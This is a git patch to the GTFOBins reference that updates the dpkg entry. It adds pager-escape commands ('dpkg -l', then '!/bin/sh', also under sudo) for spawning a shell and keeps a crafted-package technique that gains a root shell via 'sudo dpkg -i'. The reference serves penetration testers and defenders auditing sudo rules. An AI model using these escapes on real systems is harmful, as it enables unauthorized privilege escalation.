From 89b1753a0d3b6997858f27375dba02030f3ce028 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sat, 25 Apr 2020 18:40:06 +0200 Subject: [PATCH] Improve dpkg --- _gtfobins/dpkg.md | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/_gtfobins/dpkg.md b/_gtfobins/dpkg.md index ea0edcb..1d5300e 100644 --- a/_gtfobins/dpkg.md +++ b/_gtfobins/dpkg.md @@ -1,6 +1,15 @@ --- functions: + shell: + - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. + code: | + dpkg -l + !/bin/sh sudo: + - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. + code: | + sudo dpkg -l + !/bin/sh - description: | It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` @@ -9,8 +18,4 @@ functions: fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF ``` code: sudo dpkg -i x_1.0_all.deb - shell: - - code: | - dpkg -l - !/bin/sh ---